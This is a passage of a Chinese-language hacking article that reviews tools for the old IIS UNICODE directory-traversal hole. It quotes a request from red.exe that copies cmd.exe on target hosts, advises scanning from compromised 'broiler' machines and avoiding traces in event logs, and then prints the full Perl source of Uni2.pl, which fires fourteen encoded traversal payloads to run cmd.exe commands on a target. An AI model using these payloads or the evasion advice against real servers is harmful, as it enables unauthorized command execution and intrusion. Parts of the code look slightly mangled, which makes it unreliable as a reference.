| 五、网络里可得到的一些UNICODE扫描程序的分析
1、简单易用的red.exe
操作平台：win9x、NT4、WIN2K
该软件可以在一些中文黑客软件收藏库里找到下载。
red.exe是中国大陆的一位HACK技术爱好者Redp0wer用C++编写的针对某一IP段的
NT主机UNICODE编码漏洞的命令行式扫描工具，该工具扫描速度快，扫描准确。
可以在本地和远程NT肉机上执行扫描工作，并产生一个简单的扫描报告RED.txt
（仅记录所扫描的IP段的NT主机的IP地址）。
该软件对目标NT主机scripts、IISADMPWD、msadc、cgi-bin、_vti_bin目录都做
UNICODE编码漏洞的测试。
如果你仅能在本地机上对某个IP段进行扫描，且是固定IP地址的用户，在使用该
软件时，你须注意你的扫描行为实际上也把你自己暴露给对方。且容易被对方抓
住把柄状告你有入侵行为。我们可以从事件查看器里发现执行的足迹
应用程序日志c:＼WINNT＼system32＼config＼AppEvent.Evt
安全日志C:＼WINNT＼System32＼config＼SecEvent.Evt
系统日志C:＼WINNT＼system32＼config＼SysEvent.Evt
我们分析该软件的源码可以看到：
GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:＼＼winnt＼＼system32＼＼cmd.exe%s%s＼＼red.exe HTTP/1.0＼n＼n
如果从安全扫描工具来说，是不应该对所扫描的目标主机做任何文件的增加和修改。
所以，在你还不知道怎么消除你的足迹和利用肉机来执行扫描时，最好不要利用这
软件作为你的扫描工具。
2、比较全面的UNICODE工具Uni2.pl
只要支持PERL，就可以利用这工具来对目标主机进行UNICODE编码漏洞的扫描。
该程序可以对所有存在UNICODE编码漏洞的NT版本进行扫描测试。以下为该软件
的源程序，具体如何操作就不做详细解说了。
#!/usr/bin/perl
#
# Uni2.pl checks a host for the recent IIS unicode vulnerability
# in 14 different ways. Also gives you the browser URL for the
# exploit. Origionally Stealthmode316, modifications by Roeland
#
#
use Socket;
# --------------init
if ($#ARGV<0) {die "UNICODE-CHECK
Example: ./uni.pl www.target.com:80＼n";}
#($host,$port)=split(/:/,@ARGV[0]);
($host = @ARGV[0]);
$port = 80;
$target = inet_aton($host);
$flag=0;
# ---------------test method 1
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 2
my @results=sendraw("GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 3
my @results=sendraw("GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 4
my @results=sendraw("GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 5
my @results=sendraw("GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 6
my @results=sendraw("GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 7
my @results=sendraw("GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 8
my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 9
my @results=sendraw("GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 10
my @results=sendraw("GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 11
my @results=sendraw("GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 12
my @results=sendraw("GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 13
my @results=sendraw("GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0＼r＼n＼r＼n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir＼n";}}
# ---------------test method 14
my @results=sendraw("GET /msadc/..＼%e0＼%80＼%af../..＼%e0＼%80＼%af../..＼%e0＼%80＼%af../winnt/system32/cmd.exe＼?/c＼+dir HTTP/1.0＼r＼n＼r＼n
");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/msadc/..＼%e0＼%80＼%af../..＼%e0＼%80＼%af../..＼%e0＼%80＼%af../winnt/system32/cmd.exe＼?/c＼+dir＼n";}}
if ($flag!=1) {
print "$host: Not vulnerable＼n";
exit;
}
sub sendraw {
$hbn = gethostbyname($host);
if ($hbn) {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,gethostbyname(‘tcp‘)||0) || die("Socket problems＼n");
if(connect(S,pack "SnA4x8",2,$port,$target)) {
my @in;
select(S);
$|=1;
print $pstr;
while(){
push @in, $_;
}
select(STDOUT);
close(S);
return @in;
} else {
print "$host: Can‘t connect＼n";
exit;
}
} else {
print "$host: Host not found＼n";
exit;
}
}
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